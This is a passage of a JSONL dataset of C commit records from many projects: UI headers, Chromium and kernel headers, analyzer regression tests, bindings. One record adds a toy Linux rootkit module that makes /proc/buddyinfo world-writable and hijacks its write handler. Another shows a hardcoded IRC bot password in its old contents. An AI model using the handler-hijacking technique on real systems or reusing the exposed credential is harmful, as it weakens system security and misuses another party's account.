== 4 to context, octApron only adds a == 4\n    }\n  }\n}\n","subject":"Add octapron test where base gets precise value for variable from octapron via EvalInt query","message":"Add octapron test where base gets precise value for variable from octapron via EvalInt query\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"04e00705faf26d7d6f009350cdadc5279dd4e72a","old_file":"Classes\/AXTabBar.h","new_file":"Classes\/AXTabBar.h","old_contents":"\/\/\n\/\/  AXTabBar.h\n\/\/  Pods\n\/\/\n\n#import <UIKit\/UIKit.h>\n\ntypedef enum : NSUInteger {\n  AXTabBarStyleDefault = 0,\n  AXTabBarStyleVariableWidthButton,\n} AXTabBarStyle;\n\n@class AXTabBar;\n\n@protocol AXTabBarDelegate <NSObject>\n@optional\n- (BOOL)tabBar:(AXTabBar *)tabBar shouldSelectItem:(UITabBarItem *)item;\n- (void)tabBar:(AXTabBar *)tabBar didSelectItem:(UITabBarItem *)item;\n@end\n\n@interface AXTabBar : UIView\n@property (copy, nonatomic) NSArray *items;\n@property (assign, nonatomic) UITabBarItem *selectedItem;\n@property (assign, nonatomic) id<AXTabBarDelegate> delegate;\n@property (strong, nonatomic) UIFont *tabBarButtonFont;\n\n\/\/ TODO: implement this style option.\n\/\/@property (nonatomic) AXTabBarStyle tabBarStyle;\n@end\n","new_contents":"\/\/\n\/\/  AXTabBar.h\n\/\/  Pods\n\/\/\n\n#import <UIKit\/UIKit.h>\n\ntypedef enum : NSUInteger {\n  AXTabBarStyleDefault = 0,\n  AXTabBarStyleVariableWidthButton,\n} AXTabBarStyle;\n\n@class AXTabBar;\n\n@protocol AXTabBarDelegate <NSObject>\n@optional\n- (BOOL)tabBar:(AXTabBar *)tabBar shouldSelectItem:(UITabBarItem *)item;\n- (void)tabBar:(AXTabBar *)tabBar didSelectItem:(UITabBarItem *)item;\n@end\n\n@interface AXTabBar : UIView\n@property (copy, nonatomic) NSArray *items;\n@property (assign, nonatomic) UITabBarItem *selectedItem;\n@property (assign, nonatomic) id<AXTabBarDelegate> delegate;\n@property (strong, nonatomic) UIFont *tabBarButtonFont;\n\n@property (nonatomic) AXTabBarStyle tabBarStyle;\n\n@end\n","subject":"Allow tab bar style property","message":"Allow tab bar style property","lang":"C","license":"mit","repos":"nickelsberry\/AXStretchableHeaderTabViewController,nickelsberry\/AXStretchableHeaderTabViewController,nickelsberry\/AXStretchableHeaderTabViewController"}
{"commit":"63acafe0c39437980004f0cfbdb394f828958bfb","old_file":"alura\/c\/ponteiro.c","new_file":"alura\/c\/ponteiro.c","old_contents":"","new_contents":"#include <stdio.h>\n\nvoid calcula(int* c) {\n  printf(\"calcula %d %d\\n\", (*c), c);\n  (*c)++;\n  printf(\"calcula %d %d\\n\", (*c), c);\n}\n\nint main() {\n\n  int c = 10;\n\n  printf(\"main %d %d\\n\", c, &c);\n  calcula(&c);\n  printf(\"main %d %d\\n\", c, &c);\n}\n","subject":"Update files, Alura, Introdução a C - Parte 2, Aula 5.1","message":"Update files, Alura, Introdução a C - Parte 2, Aula 5.1\n","lang":"C","license":"mit","repos":"fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs"}
{"commit":"2cb74a0913f6568a87de9246063e74089c38ea10","old_file":"Example\/BonMot\/NSDictionary+BONEquality.h","new_file":"Example\/BonMot\/NSDictionary+BONEquality.h","old_contents":"\/\/\n\/\/  NSDictionary+BONEquality.h\n\/\/  BonMot\n\/\/\n\/\/  Created by Zev Eisenberg on 7\/11\/15.\n\/\/  Copyright © 2015 Zev Eisenberg. All rights reserved.\n\/\/\n\n@import Foundation;\n\n@import CoreGraphics.CGBase;\n\nOBJC_EXTERN const CGFloat kBONCGFloatEpsilon;\nOBJC_EXTERN BOOL BONCGFloatsCloseEnough(CGFloat float1, CGFloat float2);\n\n\/\/ clang-format off\n@interface NSDictionary <KeyType, ObjectType> (BONEquality)\n\n- (BOOL)bon_isCloseEnoughEqualToDictionary : (NSDictionary<KeyType, ObjectType> *_Nullable)dictionary;\n\n@end\n\/\/ clang-format off\n","new_contents":"\/\/\n\/\/  NSDictionary+BONEquality.h\n\/\/  BonMot\n\/\/\n\/\/  Created by Zev Eisenberg on 7\/11\/15.\n\/\/  Copyright © 2015 Zev Eisenberg. All rights reserved.\n\/\/\n\n@import Foundation;\n\n@import CoreGraphics.CGBase;\n\nOBJC_EXTERN const CGFloat kBONCGFloatEpsilon;\nOBJC_EXTERN BOOL BONCGFloatsCloseEnough(CGFloat float1, CGFloat float2);\n\n\/\/ clang-format off\n@interface NSDictionary <KeyType, ObjectType> (BONEquality)\n\n- (BOOL)bon_isCloseEnoughEqualToDictionary : (NSDictionary<KeyType, ObjectType> *_Nullable)dictionary;\n\n@end\n\/\/ clang-format on\n","subject":"Fix copypasta to re-enable clang-format.","message":"Fix copypasta to re-enable clang-format.\n","lang":"C","license":"mit","repos":"Raizlabs\/BonMot,Raizlabs\/BonMot,Raizlabs\/BonMot"}
{"commit":"7afb68bf3ea5c1549f10e3bdb7f25ecb51256786","old_file":"tests.c","new_file":"tests.c","old_contents":"#include \"lua.h\"\n\n#include \"lua_debug.h\"\n\nint main() {\n    return 0;\n}\n","new_contents":"#include \"lua.h\"\n#include \"lualib.h\"\n#include \"lauxlib.h\"\n\n#include \"lua_debug.h\"\n\nstatic const luaL_Reg STANDARD_LIBS[] = {\n    { \"_G\", luaopen_base },\n    { LUA_TABLIBNAME, luaopen_table },\n    { LUA_STRLIBNAME, luaopen_string },\n    { LUA_MATHLIBNAME, luaopen_math },\n    { LUA_DBLIBNAME, luaopen_debug },\n    { 0, 0 }\n};\n\nint main() {\n    lua_State * l = (lua_State *)luaL_newstate();\n    const luaL_Reg *lib;\n\n    for (lib = STANDARD_LIBS; lib->func; ++lib) {\n        luaL_requiref(l, lib->name, lib->func, 1);\n        lua_pop(l, 1);\n    }\n\n    lua_debug_init(l, \"\/tmp\/socket_lua_debug\");\n    return 0;\n}\n","subject":"Add a test program with a bit more substance.","message":"Add a test program with a bit more substance.\n","lang":"C","license":"mit","repos":"laarmen\/lua_debug,laarmen\/lua_debug"}
{"commit":"542c416be33f1cc748530f20db2025f43f490b30","old_file":"content\/public\/common\/resource_devtools_info.h","new_file":"content\/public\/common\/resource_devtools_info.h","old_contents":"\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CONTENT_COMMON_RESOURCE_DEVTOOLS_INFO_H_\n#define CONTENT_COMMON_RESOURCE_DEVTOOLS_INFO_H_\n\n#include <string>\n#include <vector>\n\n#include \"base\/basictypes.h\"\n#include \"base\/memory\/ref_counted.h\"\n#include \"content\/common\/content_export.h\"\n\nnamespace content {\n\nstruct ResourceDevToolsInfo : base::RefCounted<ResourceDevToolsInfo> {\n  typedef std::vector<std::pair<std::string, std::string> >\n      HeadersVector;\n\n  CONTENT_EXPORT ResourceDevToolsInfo();\n\n  int32 http_status_code;\n  std::string http_status_text;\n  HeadersVector request_headers;\n  HeadersVector response_headers;\n  std::string request_headers_text;\n  std::string response_headers_text;\n\n private:\n  friend class base::RefCounted<ResourceDevToolsInfo>;\n  CONTENT_EXPORT ~ResourceDevToolsInfo();\n};\n\n}  \/\/ namespace content\n\n#endif  \/\/ CONTENT_COMMON_RESOURCE_DEVTOOLS_INFO_H_\n","new_contents":"\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CONTENT_COMMON_RESOURCE_DEVTOOLS_INFO_H_\n#define CONTENT_COMMON_RESOURCE_DEVTOOLS_INFO_H_\n\n#include <string>\n#include <vector>\n\n#include \"base\/basictypes.h\"\n#include \"base\/memory\/ref_counted.h\"\n#include \"base\/strings\/string_split.h\"\n#include \"content\/common\/content_export.h\"\n\nnamespace content {\n\nstruct ResourceDevToolsInfo : base::RefCounted<ResourceDevToolsInfo> {\n  typedef base::StringPairs HeadersVector;\n\n  CONTENT_EXPORT ResourceDevToolsInfo();\n\n  int32 http_status_code;\n  std::string http_status_text;\n  HeadersVector request_headers;\n  HeadersVector response_headers;\n  std::string request_headers_text;\n  std::string response_headers_text;\n\n private:\n  friend class base::RefCounted<ResourceDevToolsInfo>;\n  CONTENT_EXPORT ~ResourceDevToolsInfo();\n};\n\n}  \/\/ namespace content\n\n#endif  \/\/ CONTENT_COMMON_RESOURCE_DEVTOOLS_INFO_H_\n","subject":"Use base::StringPairs where appropriate from \/content","message":"Use base::StringPairs where appropriate from \/content\n\nBecause base\/strings\/string_split.h defines:\ntypedef std::vector<std::pair<std::string, std::string> > StringPairs;\n\nBUG=412250\n\nReview URL: https:\/\/codereview.chromium.org\/600163003\n\nCr-Commit-Position: 972c6d2dc6dd5efdad1377c0d224e03eb8f276f7@{#296649}\n","lang":"C","license":"bsd-3-clause","repos":"hgl888\/chromium-crosswalk-efl,Jonekee\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,chuan9\/chromium-crosswalk,fujunwei\/chromium-crosswalk,dednal\/chromium.src,ltilve\/chromium,dednal\/chromium.src,Jonekee\/chromium.src,Pluto-tv\/chromium-crosswalk,dushu1203\/chromium.src,dushu1203\/chromium.src,hgl888\/chromium-crosswalk-efl,dednal\/chromium.src,M4sse\/chromium.src,ltilve\/chromium,markYoungH\/chromium.src,M4sse\/chromium.src,PeterWangIntel\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,markYoungH\/chromium.src,markYoungH\/chromium.src,Pluto-tv\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Jonekee\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,M4sse\/chromium.src,hgl888\/chromium-crosswalk-efl,Just-D\/chromium-1,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,dushu1203\/chromium.src,TheTypoMaster\/chromium-crosswalk,ltilve\/chromium,mohamed--abdel-maksoud\/chromium.src,Pluto-tv\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,dushu1203\/chromium.src,hgl888\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,chuan9\/chromium-crosswalk,axinging\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Just-D\/chromium-1,fujunwei\/chromium-crosswalk,Jonekee\/chromium.src,dednal\/chromium.src,TheTypoMaster\/chromium-crosswalk,Just-D\/chromium-1,Fireblend\/chromium-crosswalk,Just-D\/chromium-1,Pluto-tv\/chromium-crosswalk,axinging\/chromium-crosswalk,Jonekee\/chromium.src,markYoungH\/chromium.src,markYoungH\/chromium.src,markYoungH\/chromium.src,Chilledheart\/chromium,krieger-od\/nwjs_chromium.src,jaruba\/chromium.src,Chilledheart\/chromium,fujunwei\/chromium-crosswalk,jaruba\/chromium.src,Pluto-tv\/chromium-crosswalk,axinging\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,TheTypoMaster\/chromium-crosswalk,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,Fireblend\/chromium-crosswalk,fujunwei\/chromium-crosswalk,M4sse\/chromium.src,Pluto-tv\/chromium-crosswalk,jaruba\/chromium.src,ltilve\/chromium,hgl888\/chromium-crosswalk,markYoungH\/chromium.src,Chilledheart\/chromium,jaruba\/chromium.src,hgl888\/chromium-crosswalk-efl,Jonekee\/chromium.src,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,ltilve\/chromium,crosswalk-project\/chromium-crosswalk-efl,Just-D\/chromium-1,M4sse\/chromium.src,M4sse\/chromium.src,dednal\/chromium.src,Just-D\/chromium-1,Just-D\/chromium-1,M4sse\/chromium.src,Chilledheart\/chromium,dushu1203\/chromium.src,Jonekee\/chromium.src,M4sse\/chromium.src,hgl888\/chromium-crosswalk,axinging\/chromium-crosswalk,Fireblend\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,ltilve\/chromium,mohamed--abdel-maksoud\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,Fireblend\/chromium-crosswalk,dushu1203\/chromium.src,krieger-od\/nwjs_chromium.src,mohamed--abdel-maksoud\/chromium.src,Jonekee\/chromium.src,Jonekee\/chromium.src,dushu1203\/chromium.src,hgl888\/chromium-crosswalk,M4sse\/chromium.src,dednal\/chromium.src,krieger-od\/nwjs_chromium.src,fujunwei\/chromium-crosswalk,markYoungH\/chromium.src,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,dednal\/chromium.src,chuan9\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,dushu1203\/chromium.src,Chilledheart\/chromium,axinging\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,dednal\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,jaruba\/chromium.src,Pluto-tv\/chromium-crosswalk,dednal\/chromium.src,Fireblend\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,chuan9\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,dushu1203\/chromium.src,Chilledheart\/chromium,chuan9\/chromium-crosswalk,chuan9\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Just-D\/chromium-1,jaruba\/chromium.src,ltilve\/chromium,ltilve\/chromium,markYoungH\/chromium.src,mohamed--abdel-maksoud\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,jaruba\/chromium.src,M4sse\/chromium.src,TheTypoMaster\/chromium-crosswalk,jaruba\/chromium.src,Chilledheart\/chromium,PeterWangIntel\/chromium-crosswalk,Chilledheart\/chromium,chuan9\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,krieger-od\/nwjs_chromium.src,dednal\/chromium.src,jaruba\/chromium.src,Fireblend\/chromium-crosswalk,ltilve\/chromium,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,markYoungH\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,Jonekee\/chromium.src,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk,jaruba\/chromium.src,hgl888\/chromium-crosswalk,Jonekee\/chromium.src,hgl888\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,dednal\/chromium.src,Fireblend\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,axinging\/chromium-crosswalk,dushu1203\/chromium.src,fujunwei\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Chilledheart\/chromium,crosswalk-project\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,M4sse\/chromium.src,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,jaruba\/chromium.src,markYoungH\/chromium.src,chuan9\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,dushu1203\/chromium.src,Just-D\/chromium-1,axinging\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk"}
{"commit":"c57a5ce0df04be61bafedc0f3043d568103c7ab5","old_file":"arch\/powerpc\/include\/uapi\/asm\/byteorder.h","new_file":"arch\/powerpc\/include\/uapi\/asm\/byteorder.h","old_contents":"#ifndef _ASM_POWERPC_BYTEORDER_H\n#define _ASM_POWERPC_BYTEORDER_H\n\n\/*\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version\n * 2 of the License, or (at your option) any later version.\n *\/\n#include <linux\/byteorder\/big_endian.h>\n\n#endif \/* _ASM_POWERPC_BYTEORDER_H *\/\n","new_contents":"#ifndef _ASM_POWERPC_BYTEORDER_H\n#define _ASM_POWERPC_BYTEORDER_H\n\n\/*\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version\n * 2 of the License, or (at your option) any later version.\n *\/\n#ifdef __LITTLE_ENDIAN__\n#include <linux\/byteorder\/little_endian.h>\n#else\n#include <linux\/byteorder\/big_endian.h>\n#endif\n\n#endif \/* _ASM_POWERPC_BYTEORDER_H *\/\n","subject":"Include the appropriate endianness header","message":"powerpc: Include the appropriate endianness header\n\nThis patch will have powerpc include the appropriate generic endianness\nheader depending on what the compiler reports.\n\nSigned-off-by: Ian Munsie <2796b2a6f60f1cdadaf10e577f7c9240e2ad3d38@au1.ibm.com>\nSigned-off-by: Anton Blanchard <14deb5e5e417133e888bf47bb6a3555c9bb7d81c@samba.org>\nSigned-off-by: Benjamin Herrenschmidt <a7089bb6e7e92505d88aaff006cbdd60cc9120b6@kernel.crashing.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"4618ec7636fa2cbd3f8907d3f72d4ad7cb772d36","old_file":"tests\/regression\/02-base\/51-evalint-deep.c","new_file":"tests\/regression\/02-base\/51-evalint-deep.c","old_contents":"","new_contents":"\/\/ from SV-COMP: nla-digbench-scaling\/ps6-ll_valuebound5.c\n\/\/ contains deep integer expressions that shouldn't cause extremely exponential slowdown\n\/\/ when evaluated by base's eval_rv and EvalInt jointly\n\/\/ runs (as unknown) under 0.1s\n\n#include <assert.h>\nvoid assume_abort_if_not(int cond) {\n  if(!cond) {abort();}\n}\n\nint main() {\n    short k;\n    long long y, x, c;\n    assume_abort_if_not(k>=0 && k<=5);\n    assume_abort_if_not(k <= 256);\n\n    y = 0;\n    x = 0;\n    c = 0;\n\n    while (1) {\n        assert(-2*y*y*y*y*y*y - 6 * y*y*y*y*y - 5 * y*y*y*y + y*y + 12*x == 0);\n\n        if (!(c < k))\n            break;\n\n        c = c + 1;\n        y = y + 1;\n        x = y * y * y * y * y + x;\n    }\n\n    assert(-2*y*y*y*y*y*y - 6 * y*y*y*y*y - 5 * y*y*y*y + y*y + 12*x == 0);\n    assert(k*y == y*y);\n    return 0;\n}\n","subject":"Add regression test with deep integer expressions","message":"Add regression test with deep integer expressions\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"98c1fbe223dd5469e194a4e772b8e5b181b692ee","old_file":"src\/ui.h","new_file":"src\/ui.h","old_contents":"#pragma once\n\nvoid draw_seconds(GContext *ctx, uint8_t seconds, Layer *layer);\nvoid draw_minutes(GContext *ctx, uint8_t minutes, Layer *layer);\nvoid draw_hours(GContext *ctx, uint8_t hours, Layer *layer);\n","new_contents":"#pragma once\n\n\/* \nThis header file declares drawing methods that are defined in rect.c or round.c, \ndepending on the platform being built. Since the methods share the same function\nsignature, they can share the same header file, even though the implementations\nof the functions themselves are different.\n*\/\n\nvoid draw_seconds(GContext *ctx, uint8_t seconds, Layer *layer);\nvoid draw_minutes(GContext *ctx, uint8_t minutes, Layer *layer);\nvoid draw_hours(GContext *ctx, uint8_t hours, Layer *layer);\n","subject":"Add comment to header file about change","message":"Add comment to header file about change\n","lang":"C","license":"mit","repos":"NiVZ78\/concentricity,pebble-examples\/concentricity,NiVZ78\/concentricity,pebble-examples\/concentricity,pebble-examples\/concentricity"}
{"commit":"93ae893e22571cc61f7d334cf36bb5642460a39c","old_file":"extensions\/ringopengl\/opengl11\/ring_opengl11.c","new_file":"extensions\/ringopengl\/opengl11\/ring_opengl11.c","old_contents":"#include \"ring.h\"\n\n\n\/*\n\tOpenGL 1.1 Extension\n\tCopyright (c) 2017 Mahmoud Fayed <msfclipper@yahoo.com>\n*\/\n\n\n#include <GL\/glew.h>\n#include <GL\/glut.h>\n\nRING_FUNC(ring_get_gl_zero)\n{\n\tRING_API_RETNUMBER(GL_ZERO);\n}\n\nRING_FUNC(ring_get_gl_false)\n{\n\tRING_API_RETNUMBER(GL_FALSE);\n}\n\nRING_FUNC(ring_get_gl_logic_op)\n{\n\tRING_API_RETNUMBER(GL_LOGIC_OP);\n}\n\nRING_FUNC(ring_get_gl_none)\n{\n\tRING_API_RETNUMBER(GL_NONE);\n}\n\nRING_API void ringlib_init(RingState *pRingState)\n{\n\tring_vm_funcregister(\"get_gl_zero\",ring_get_gl_zero);\n\tring_vm_funcregister(\"get_gl_false\",ring_get_gl_false);\n\tring_vm_funcregister(\"get_gl_logic_op\",ring_get_gl_logic_op);\n\tring_vm_funcregister(\"get_gl_none\",ring_get_gl_none);\n}\n","new_contents":"#include \"ring.h\"\n\n\n\/*\n\tOpenGL 1.1 Extension\n\tCopyright (c) 2017 Mahmoud Fayed <msfclipper@yahoo.com>\n*\/\n\n\n#include <GL\/glew.h>\n#include <GL\/glut.h>\n\nRING_FUNC(ring_get_gl_zero)\n{\n\tRING_API_RETNUMBER(GL_ZERO);\n}\n\nRING_FUNC(ring_get_gl_false)\n{\n\tRING_API_RETNUMBER(GL_FALSE);\n}\n\nRING_FUNC(ring_get_gl_logic_op)\n{\n\tRING_API_RETNUMBER(GL_LOGIC_OP);\n}\n\nRING_FUNC(ring_get_gl_none)\n{\n\tRING_API_RETNUMBER(GL_NONE);\n}\n\nRING_FUNC(ring_get_gl_texture_components)\n{\n\tRING_API_RETNUMBER(GL_TEXTURE_COMPONENTS);\n}\n\nRING_API void ringlib_init(RingState *pRingState)\n{\n\tring_vm_funcregister(\"get_gl_zero\",ring_get_gl_zero);\n\tring_vm_funcregister(\"get_gl_false\",ring_get_gl_false);\n\tring_vm_funcregister(\"get_gl_logic_op\",ring_get_gl_logic_op);\n\tring_vm_funcregister(\"get_gl_none\",ring_get_gl_none);\n\tring_vm_funcregister(\"get_gl_texture_components\",ring_get_gl_texture_components);\n}\n","subject":"Update RingOpenGL 1.1 - Add Constant (Source Code) : GL_TEXTURE_COMPONENTS","message":"Update RingOpenGL 1.1 - Add Constant (Source Code) : GL_TEXTURE_COMPONENTS\n","lang":"C","license":"mit","repos":"ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring"}
{"commit":"bbcb290dc0e1d1e9f9442b5e97c291fe79b66058","old_file":"rootkit.c","new_file":"rootkit.c","old_contents":"","new_contents":"#include <linux\/module.h>    \/\/ included for all kernel modules\n#include <linux\/kernel.h>    \/\/ included for KERN_INFO\n#include <linux\/init.h>      \/\/ included for __init and __exit macros\n#include <linux\/proc_fs.h>\n\n#define MODULE_NAME \"rootkit\"\n\nMODULE_LICENSE(\"GPL\");\nMODULE_AUTHOR(\"Julia Evans\");\nMODULE_DESCRIPTION(\"The tiniest rootkit\");\n\nstatic struct file_operations handler_fops;\nconst struct file_operations *handler_original = 0;\nstruct proc_dir_entry *handler, *root;\n\nstatic ssize_t make_pid_root (\n        struct file *filp,\n        const char __user *data,\n        size_t sz,\n        loff_t *l)\n{\n    printk(\"YOU HAVE BEEN HACKED\\n\");\n    return -1;\n}\n\/**\n * Infects \/proc\/buddyinfo with a device handler that sets\n*\/\nvoid install_handler(struct proc_dir_entry *root) {\n    struct proc_dir_entry *ptr = root->subdir;\n    while(ptr && strcmp(ptr->name, \"buddyinfo\"))\n        ptr = ptr->next;\n    if(ptr) {\n        handler = ptr;\n        ptr->mode |= S_IWUGO;\n        handler_original = (struct file_operations*)ptr->proc_fops;\n        \/\/ create new handler\n        handler_fops = *ptr->proc_fops;\n        handler_fops.write = make_pid_root;\n        ptr->proc_fops = &handler_fops;\n    }\n}\n\nstatic int __init module_init_proc(void) {\n  static struct file_operations fileops_struct = {0};\n  struct proc_dir_entry *new_proc;\n  \/\/ dummy to get proc_dir_entry of \/proc\n  new_proc = proc_create(\"dummy\", 0644, 0, &fileops_struct);\n  root = new_proc->parent;\n\n  \/\/ install the handler to wait for orders...\n  install_handler(root);\n\n  \/\/ it's no longer required.\n  remove_proc_entry(\"dummy\", 0);\n  return 0;\n}\n\n\n\nstatic int __init rootkit_init(void)\n{\n    module_init_proc();\n    printk(KERN_INFO \"Starting kernel module!\\n\");\n    return 0;    \/\/ Non-zero return means that the module couldn't be loaded.\n}\n\nstatic void __exit rootkit_cleanup(void)\n{\n  handler->proc_fops = handler_original;\n  printk(KERN_INFO \"Cleaning up module.\\n\");\n}\n\n\n\nmodule_init(rootkit_init);\nmodule_exit(rootkit_cleanup);\n","subject":"Add module that prints YOU HAVE BEEN HACKED when writing to \/proc\/buddyinfo","message":"Add module that prints YOU HAVE BEEN HACKED when writing to \/proc\/buddyinfo\n","lang":"C","license":"mit","repos":"jvns\/kernel-module-fun,rictator\/kernel-module-fun,abhinavthukral28\/kernel-module-fun,onestraw\/kernel-module-fun,tzhenghao\/kernel-module-fun"}
{"commit":"29db01601e61470f99eff92e5191bfefa64f2a7d","old_file":"src\/irc.h","new_file":"src\/irc.h","old_contents":"#ifndef _IRC_H\n#define _IRC_H\n\n#define NICK \"slackboat\"\n#define SERVER \"irc.what.cd\"\n#define PASSWORD \"thisistheonlygoodbot\"\n\nvoid irc_notice_event(char *, char *, char *);\nvoid irc_welcome_event(void);\nvoid irc_privmsg_event(char *, char *, char *);\nvoid irc_privmsg(const char *, const char *);\nvoid irc_join_channel(const char *);\n\n#endif\n","new_contents":"#ifndef _IRC_H\n#define _IRC_H\n\n#define NICK \"slackboat\"\n#define SERVER \"irc.what.cd\"\n#define PASSWORD \"PASSWORD\"\n\nvoid irc_notice_event(char *, char *, char *);\nvoid irc_welcome_event(void);\nvoid irc_privmsg_event(char *, char *, char *);\nvoid irc_privmsg(const char *, const char *);\nvoid irc_join_channel(const char *);\n\n#endif\n","subject":"Structure the program for minimum coupling","message":"Structure the program for minimum coupling\n","lang":"C","license":"isc","repos":"Zlacki\/slackboat,Zlacki\/slackboat,Zlacki\/slackboat,Zlacki\/slackboat"}
{"commit":"35bc38ac4592800a2c3d13b001a0b66679c8f0b7","old_file":"include\/api\/ofp_epoll.h","new_file":"include\/api\/ofp_epoll.h","old_contents":"\/* Copyright (c) 2016, Nokia\n * Copyright (c) 2016, ENEA Software AB\n * All rights reserved.\n *\n * SPDX-License-Identifier:     BSD-3-Clause\n *\/\n\n#ifndef __OFP_EPOLL_H__\n#define __OFP_EPOLL_H__\n\n#include <stdint.h>\n\ntypedef union ofp_epoll_data {\n\tvoid    *ptr;\n\tint      fd;\n\tuint32_t u32;\n\tuint64_t u64;\n} ofp_epoll_data_t;\n\nstruct ofp_epoll_event {\n\tuint32_t events;\n\tofp_epoll_data_t data;\n};\n\nenum OFP_EPOLL_EVENTS {\n\tOFP_EPOLLIN = 0x001,\n#define OFP_EPOLLIN OFP_EPOLLIN\n};\n\n#define OFP_EPOLL_CTL_ADD 1\n#define OFP_EPOLL_CTL_DEL 2\n#define OFP_EPOLL_CTL_MOD 3\n\nint ofp_epoll_create(int size);\n\nint ofp_epoll_ctl(int epfd, int op, int fd, struct ofp_epoll_event *event);\n\nint ofp_epoll_wait(int epfd, struct ofp_epoll_event *events, int maxevents, int timeout);\n\n#endif\n","new_contents":"\/* Copyright (c) 2016, Nokia\n * Copyright (c) 2016, ENEA Software AB\n * All rights reserved.\n *\n * SPDX-License-Identifier:     BSD-3-Clause\n *\/\n\n#ifndef __OFP_EPOLL_H__\n#define __OFP_EPOLL_H__\n\n#include <stdint.h>\n\n#if __GNUC__ >= 4\n#pragma GCC visibility push(default)\n#endif\n\ntypedef union ofp_epoll_data {\n\tvoid    *ptr;\n\tint      fd;\n\tuint32_t u32;\n\tuint64_t u64;\n} ofp_epoll_data_t;\n\nstruct ofp_epoll_event {\n\tuint32_t events;\n\tofp_epoll_data_t data;\n};\n\nenum OFP_EPOLL_EVENTS {\n\tOFP_EPOLLIN = 0x001,\n#define OFP_EPOLLIN OFP_EPOLLIN\n};\n\n#define OFP_EPOLL_CTL_ADD 1\n#define OFP_EPOLL_CTL_DEL 2\n#define OFP_EPOLL_CTL_MOD 3\n\nint ofp_epoll_create(int size);\n\nint ofp_epoll_ctl(int epfd, int op, int fd, struct ofp_epoll_event *event);\n\nint ofp_epoll_wait(int epfd, struct ofp_epoll_event *events, int maxevents, int timeout);\n\n#if __GNUC__ >= 4\n#pragma GCC visibility pop\n#endif\n\n#endif\n","subject":"Add visibility to epoll headers","message":"Add visibility to epoll headers\n\nThe odp_epoll_* symbols were not visible in the final library built with\nGCC.\n\nSigned-off-by: Oriol Arcas <a98c9d4e37de3d71db2e1a293b51c579a914c4ae@starflownetworks.com>\nReviewed-by: Sorin Vultureanu <8013ba55f8675034bc2ab0d6c3a1c9650437ca36@enea.com>\n","lang":"C","license":"bsd-3-clause","repos":"TolikH\/ofp,TolikH\/ofp,OpenFastPath\/ofp,OpenFastPath\/ofp,OpenFastPath\/ofp,TolikH\/ofp,OpenFastPath\/ofp"}
